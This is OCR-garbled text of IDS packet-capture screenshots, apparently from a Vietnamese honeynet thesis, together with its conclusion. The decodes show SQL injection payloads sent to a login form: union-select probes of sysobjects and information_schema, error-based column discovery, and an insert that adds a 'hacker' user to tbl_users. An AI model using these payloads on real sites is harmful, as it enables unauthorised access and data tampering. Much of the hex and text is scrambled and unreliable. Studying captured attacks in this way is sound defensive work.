Tme e [Feb 102012211024 o Feb 1120122110:24
Eith
e - L]
s
e [ - b ]
Destinati
T e ot b ]
o (et Walleye Flow View ¥

Per Flow Attributes
Bytes Transferad greater than

[ eidirectional Traffic

£

linicast Erdnnints

& S @ Internet

Hinh 4.4.2a - Giao di¢n phéan tich dix li¢u trén Walleye

a https:£f172.16.1.10fwalleye. plfact-ct;st-1328990400;et-1328993999 ;sensor=1008001 200;src_local-1 -

File Edit view Favorites Tools Help

eﬁack v s \ﬂ @ 7;} ;\J Search i‘t(’FaVDI’ItES {‘2 [1'- :_\5 ‘3

Address |@ https:ff172.16.1, 10fwalleve. plPack=ct;st=1325990400; et=1325993999; sensor=1 005001 200;src_local=1;ids=1 v Go Links

Data Analysis System Admin Documentation | Logout ~
Connections triggering IDS events Observed from Sensor 1008001200 After
Februa ry Sat Feb 11 20:00:00 2012 Before Sat Feb 11 20:59:59 2012
20 12 [Frevious Page)  stan 1 2 3 4 5 & 7 ® @ 10 11 12 13 14 End (NextPage)  L/82 B
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3:00 i i ssn)
4100 0 o 27 windows «--2 kB 22
5:00 [ 0 phts
&:00 0 o ;ii:guarv 00:00:00 < ATTACK-RESPONSES 403 Forbidden
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105walleye. pl?act=-snortdecode;sensor=1008001 20|

File Edit Wiew Favorites Tools  Help

<) \_)' Iﬂ Iﬂ h /.._\J Search ‘-‘_}f‘\'( Favorites ve} <] ~ ‘-_g ﬁ

Address |E;| https: f{172.16. 1. 10jwaleye. pl?ack=snortdecode; sensar=1008001 200; con_id=5369 b | GO Links **
192 1o, 110050 - 192 Teg. 1. 1174600 TCF TTL:iIdE TOSTOXO ID:I7040 IpLen:ZU DomnLen: 40 DF V-
FEELEFEY Zegr OxBOES44D3  Ack: OxBCAV44A3 Win: OxFSDE Teplen: 20 T

02/11-23:09:22.259673 0:C:29:47:14:B2 -» 0:C:23;
192.168.1.11:4668 -> 192.165.1.10:80 TCP TTL:
FEELAPFEY Seq: OxBCAT44A3  Ack: OxBSES44D3 in: O0xFAFO Teplen: 20
75 73 65 72 BE 61 6D 65 74 V8 74 3D 25 32 USErnametXt=%27+
75 6E 69 6F 6E ZE 73 65 6C 65 63 74 ZEB SE union+select+nam
65 25 32 43 31 25 32 43 31 25 32 43 31 25 e%2C1%2C1%2C1%2¢C
31 2B 66 72 6F 6D ZB 73 79 73 &6F 62 6L 65 74  1+from+sysobject
73 2B 77 88 65 72 65 ZB 6E 61 6D 65 EZB 25 45 s+where+name+s3E
25 3E 37 74 62 6C S5F 75 &5 32 37 EZD ZD Z6 61 %27thl u3iv--&pa
73 73 77 6F 72 64 3D 26 4C 6F &7 69 gE 3D gsword=&Login=+L
ogint

0 len:0xAB
plen:20 Dopolen: 157 DF

02/11-23:09:22.259727 68:43:C4:38:C5:56 -» 0:C:22:10:BC: 63 type:0x800 len:0OxAE

192.168.1.11:46658 -> 192.165.1.10:80 TCP TTL:127 TO3:0x0 ID:32442 IpLen:20 Dorlen:157 DF

FTERAPFFT Sedq: OxBCAT44A3 Ack: OxEBESES44D3  Win: OxFAFD Teplen: 20

75 73 65 7E 6E 61 6D 65 T4 TS V4 3D £5 3E 37 EB uSernametxt=%E7+

75 6E 69 6F 6E ZB 73 65 &C 65 63 74 ZB 6E 61 6D union+selectinam

65 25 32 43 31 25 32 43 31 25 32 43 31 25 32 43 e32C1%2C1%2C1%2C

31 2B 66 72 6F 6D ZB 73 79 73 6F 62 6L 65 63 V4 l+fromtsysohject

73 EB 77 63 65 TZ 65 ZB 6E 61 &1 65 ZB Z5 33 45 s+wheret+name+%3E v

é O Internet

https:{f172.16.1.10/walleye. pl?act-snortdecode ;sensor=1008001200;con_id-B377 - Microsoft Internet Explorer
File Edit View Favortes Tooks Help o

<) > lﬂ @ _h /._\J Search ‘);"‘\'.(Favorites {‘} xR :ﬁ 3

Address \@ hittps: /172,16, 1. 10 walleye. plfact=snortdecode; sensor=1005001 200;con_jd=8377 Links >
Bl GZ BT B Sf 5L L 50§ % TR TE IEETIDRZ T =
62 6C SF 75 73 65 72 73 25 32 37 2D 2D 26 70 61 hl_userssz7--ipa =
73 73 77 6F 72 64 3D 26 4C 6F 67 69 6E 3D 2B 4C ssword=slogin=+L
6F &7 69 SE ZB ogint
02/11-23:16:30,851921 68:43:C4:38:C5:58 —» 0:C:29:187HC: :0%800 len:0xCB
102.168.1.11:4672 —» 192.166.1.10:80 TCP TTL:12 IpLen:20 Depulen: 180 DF
**#AP+*% Seq: Ox6CCFE147  hok: OxADS45325  Wind OxFAFD  Teplen: 20
75 73 65 72 6E 61 6D &5 74 78 74 3D 25 32 37 USErnEmELEL=327+
75 6E 63 6F 6E 2B 73 65 6C 65 63 74 2B 63 6Ff6C union+select+col
75 8D 6E SF BE 61 6D 65 25 32 43 31 25 32 4 31 umn_neme:2C1%2C1
25 32 43 31 25 32 43 31 2B 66 72 6F 6D 2B 6P 6E $ZC1%2Cl+fromtin
66 6F 72 6D 61 74 63 6F 6E SF 73 63 68 65 6P 61 formation schema
2E 63 6F 6C 75 6D 6E 73 2B 77 68 65 72 65 2E 74 .columnstvherett
€1 62 6C 85 SF SE 61 6D 65 25 33 44 25 32 3 able_name%3D%27t B
62 6C 5F 75 73 55 72 73 25 32 37 2D 2D 26 7O\61 bl usersi27--ipa
73 73 77 6F 72 64 3D 26 4C BF 67 €0 6E 3D 2B ssword=slogin=+L
6F &7 69 SE ZB ogint
02/11-23:16:30.852136 0:C:29:10:BC:63 —» 0:C:29:47:14:52 type:0x800 len:0x3C
192.168.1.10:80 -> 192.168.1.11:4672 TCP TTL:128 TOS:0x0 ID:17106 IpLen:20 Dowlen:40 DF
#¥+d#%%% Seq: 0xAD545325 Aek: Ox6CCFEIDC  Win: OxFS81h  Teplen: 20

E
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rosoft Internet Explorer
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Address |ﬁ§| https: /{172,161, 10jwalleye. plrack=snortdecode; sensor=1008001200; con_id=8375 V| Go | Links *

02/11-23:19:13.719179 0:C:29:10:BC: 63 —» 0:C:29:47:14:B2 type:0x800 len:0x3C ]
192.1658.1.10:80 -> 192.165.1.11:4674 TCP TTL:125 TOS:0x0 ID:17113 IpLen:20 Dowlen:40 DF
FERELFFEFF Feq: OxESEFDEC1  Ack: OxZ0DFZES Win: 0xFSAF Tocplen: E0

02/11-23:19:13.721259 0:C:29:47:14:B2 —» 0:C:29:10:BC: 20800 len:OxEB

192.168.1.11:4674 —-> 192.165.1.10:80 TCP TTL:125 :0x0 ID:388 IpLen:20 Dgwlen:2Z21 DF
FEREAP*®E Feq: OXZ0DFZES  Ack: OXEBESEFDSCL  Win: FAFO TopLen: 20
75 73 65 72 EE 61 6D 65 74 78 74 3D 25 32 37 Z usernametxc=%27+
75 6E 62 6F 6E ZE 73 65 6C 65 63 74 ZE 63 6F union+select+cool
75 6D BE SF 6E 61 6D 65 25 32 43 31 25 32 43 urnn_ name2C1%2C1
25 32 43 31 Z5 32 43 31 ZB 66 72 6F 6D ZB 69 6E 3ECl3ZCl+from+in
66 8F 72 6D 61 74 68 6F 6E SF 73 63 68 65 6D 61 formation schema
2E 63 6F 6C 75 6D B6E 73 ZB 77 68 65 7Z 65 ZF 74  .columns+where+t
61 82 &6C 65 5F B6E 61 6D &5 25 33 44 25 32 3Y 74 able neme%3D%27e
62 BC 5F 75 73 65 V2 73 Z5 32 37 ZB 61 6E 64 ZE bl _usersiiV+and+
63 6F 6C 75 6D EE 5F 6E 61 6D 65 2B 25 33 45 column name+33E+
25 32 37 53 54 54 25 32 37 ZD ZD ZD ZD Ze V0 %273 TTs27————&pa
T3 73 77 BF 72 64 3D &6 4C 6F 67 69 6E 3D 2B ssvord=s£Login=+L
6F 67 69 6E ZE

02/11-23:19:13.721324 68:A43:C4:38:C5:588 -» 0:C:2Z9:10:EC:63 type:0x500 len:0xEE
192.168.1.11:4674 —» 192.1658.1.10:80 TCP TTL:127 TOS:0x0 ID:38843 IpLen:20 Dowlen:221 DF
FEEAPFFEE Zeg: OxZ0DFZES  Ack: OxBSEFDSC1  Win: OxFAFOD TenlLen: 20 ]

&] Done S @ Internet

File Edit ‘Wiew Favorites Tools Help

) > \ﬂ @ h /.._\J Search \E‘j‘\?’Favorites {‘} <] ~ :7_ - ‘i

Address |Ej https:[f172.16.1. 10jwalleye. pl?act=snortdecode; sensor=1008001200; can_jd=5400 v | Go | Links
~

02/11-23:45:25.029555 0:C:29:10:BC:63 —-» 0:C:29:47:14:82 type:0x500 len:0x3C
192.168.1.10:80 -» 192.165.1.11:4692 TCP TTL:1:25 TOS:0x0 ID:17:2595 IpLen:Z0 DomwlLen:40 DF
FEELEEXL Zeq: OxELBSOS5AE  Ack: OxD3IACIA3ZS Win: OxFB9D Teplen: 20

02/11-23:45:25.030218 0:C:29:47:1A:B2 -» 0:C:2
192.168.1.11:4692 —» 192.168.1.10:80 TCP TTL:
TEELP®HET Feq: OxD3IACIASS Ack: OxE1BSS548

f10:BC:63 type:lx
8 TOI3:0x0 ID:55836
O0xFAFO TcpLen: 20

O len:0OxAl
Len: 20 Dopolen: 156 DF

75 73 65 7z 6E 61 6D 55 74 78 74 3D 25 32 3 usernametxt=%27+

75 6E 89 &F 6E 2B 73 65 6C 65 63 74 ZB Z4 2 union+select+*+£

7z 6F 6D ZB 74 62 6C 5F 75 73 65 T2 73 2B Vf 68 romtthl_users+wh

65 7& 65 ZB 55 73 65 TZ 49 44 ZF 5 33 44 ZF 3:  ere+UserID+%3D%2

37 25 32 37 ZB 67 72 6F 75 70 2B 62 79 ZB 5% 54  7i27+group+bv43T

54 25 32 43 55 73 65 72 49 44 2D 2D 26 70 6 T%2CUserID-—&pas

73 77 oF 72 64 3D 26 4C oF 67 69 6E 3D ZEB 4 sword=&Login=+Lo

67 69 BE ZE —
R e e A At aal et e e e e e Fet=t=t=t=t

02/11-23:45:25.030295 68:43:C4:38:C5:5B -» 0:C:29:10:BC:63 type:0x800 len:0xil

192.168.1.11:4692 -> 192.168.1.10:80 TCP TTL:127 TOS:0x0 ID:55836 IpLen:20 Dorelen: 156 DF

FEELPFFF Zeq: OxDIACIASS  Ack: OxELBESSAS Win: OxFAFO Teplen: 20

75 73 65 TZ 6E 61 6D 65 74 TS 74 3D E5 32 37 EF usernametxt=%Z7T+

75 6E 69 AF BE ZE 73 65 6C 65 63 74 ZB ZA ZB 66 union+select+¥+f

72z AF FD 2R 4 RZ AC RF 7R 73 RR 72 73 2R 77 AR romdth]l uaeradwh —

&) Dore By & rkemet
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rosoft Internet Explorer
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! \ ) e ’ = 3. B a2
Ot - © - B @ G| Prwst Foroee @3- B 2 B
Address|£§| https: /{172,161, 10jwalleye. plrack=snortdecode; sensor=1008001200; con_id=8380 V| Go Links *
~

02/11-23:24:44.7668458 0:C:29:10:BC: a3

—»> 0:C:29:47:14:B2 type:0x300 len:0x3C

19&.1658.1.10:80 -> 19&.168.1.11:4678 TCP TTL:125 TOZ:0x0 ID:17121 IpLen:Z0 Dgmwlen:40 DF
FEELEHREE Zeqg: OxALESIDEOF

X

ck:

Ox35ABL167

Win:

O0xFEEO TepLen: 20

02/11-23:24:44.771751 0:C:29:47:14: B2

19&2.168.1.11:4678 —> 192.165.1.10:50 TCP TTL:1Z

FHEEQPEEE

75 73
75 EE

65
&9
38
SF
61

Seq: Ox35ABL1ET

Ta
EF
53
75
3D

6E
&E
54
73
26

61 6D 65

ZB 73 65

54 Z5 3Z
65 72 73

4c 6F 67

X

ck:
TE
65
ZE

OxABS3DEOF

74
63
(1]

3D
74
Ta
7o
ZB

25
ZE

3z
73
6D
73
aF

Wing

—» 0:C:29:10:BC:63 type:0x300 len:0x58

USErNametRL=%2 7+
union+select+sum
5283 TTsZ29+Lrom+t
bl users—-&ipasswy
ord=&Login=+Logil
n+

02/11-23:24:44.771812 68:A3:C4:38:C5:5B -» 0:C:29:10:BC: 63 type:0x800 len:0xS88
192.168.1.11:4678 -» 192.168.1.10:80 TCP TTL:127 TOS:0x0 ID:42427 IpLen:20 Dgwlen:122 DF

FEEAPFEE Seg: Ox3ISABA1E6T  Ack: OxABS3DEOF  Win: OxXFAFO TopLen: 20

75 73 65 72 6E 61 6D 65 74 78 74 3D 25 32 37 ZB usernametxt=iZT7+

75 BE 69 6F 6E 2B 73 65 6C 65 63 74 2B 73 75 6D uniontselect+sum

25 32 35 53 54 54 25 32 39 2B 66 V2 6F 6D EZB 74 %ZG3TT:29+fromtt @
&] Done S @ Internet

https:{f172.16.1.10/wvalleye.

5
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Address |:§| https:{}172.16.1.10walleye.pl?act=snortderode; sensor=100&001200; con_id=3386

Edit

Wigwy

2 \ﬂ Iﬁ ﬂ /'-_\’ Search ‘»j\L:(Favor\tes @

Favorites

Taools

Help

v|i!(h Lirks >

o

II=23~%

=5

JJ.icrban Osts

ST I0TOCTog

e

=

THis L b2 Cype.ORoU0 [EfsORaL

192.168.1.10:80 -> 192.165.1.11:4650 TCP TTL:128 TOS:0x0 ID:17171 IpLen:Z0 Dgmlen:40 DF =

FEELEEHE Zecr OXIZFZOE6T4 Ack: OX30A00Z7 Win: OxFSALF  Teplen: Z0

02/11-23:29:33.730251 0:C:29:47:14:B2 -» 0:C:29:10 20x800 len:0xAF

18z.168.1.11:4680 -> 192.168.1.10:50 TCP TTL 0Z:0x0 ID:4554 Len:zZ0 Domlen:16l DF

FEELPFET Zeq: OX3I0AO0Z7  Ack: Ox33F29674 Wit OxFAFO Teplen: 20

75 73 65 72 6E &1 gD 65 T4 78 74 3D 25 32 25 usernametxt=%27%

33 42 2B 69 6E 73 65 V2 74 ZB 69 GE 74 aF, 74 3JEBtinsert+into+t

62 6C 5F 75 73 65 VI 73 IB 76 61 6C 75 63 73 25 bl _users+valuesy

32 35 39 Z5 32 43 25 32 37 61 25 32 37 2 28952C527a% 27520

25 3Z 37 68 61 83 6B 65 7z Z5 3Z 37 Z5 3 5Z7hacker®z732C%

32 37 31 32 33 25 32 37 25 32 43 33 25 32 27123%27%2C3%29-

2D 26 70 61 73 73 7?7 6F T2 64 3D 26 4 &F —&pagaword=&Logi

6E 3D 2B 4C 6F 67 69 6E 2B n=+Login+ =

02/11-23:29:33.730874 6B:43:C4:38:C5:58 -» 0:C:29:10:BC:63 type:0x300 len:0OxAF

182.168.1.11:4680 -» 192.168.1.10:80 TCP TTL:127 TOS:0x0 ID:45545 IpLen:Z0 Dowlen:161 DF

FEELPFEE Seq: Ox30A002Z7 Ack: Ox35F29674 Win: OxFAFOD Toplen: Z0

75 73 65 72 6E 61 ED 65 74 78 74 3D Z5 3z 37 25 uSernametXt=3ZT%

33 42 2B 69 6E 73 65 V2 74 2B €9 BE V4 6F 2B V4 3B+insert+into+t

62 6C 5F 75 73 65 V2 73 ZB 76 61 6C 75 65 73 25 hl_users+valuesh

32 38 3% 25 32 43 25 32 37 61 25 32 37 25 32 43 Z09%2C%27a%27%2C -
@Dona é ° Inkernet
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Két luan: trong chuong cudi cua dé tai nay da trinh bay chi tiét qua trinh trién khai, cai
dit, cau hinh va kiém tra hé théng bang viéc tin cong dira vao kich ban cé sin. Nho
vao hé thong Honeynet chiing ta d thdy duoc toan bd qua trinh tin cong cua hacker tir
viéc khai thac 16i SQL Injection dé chiém quyén nham stra d6i noi dung, 1am mat tinh

toan ven cua trang web.
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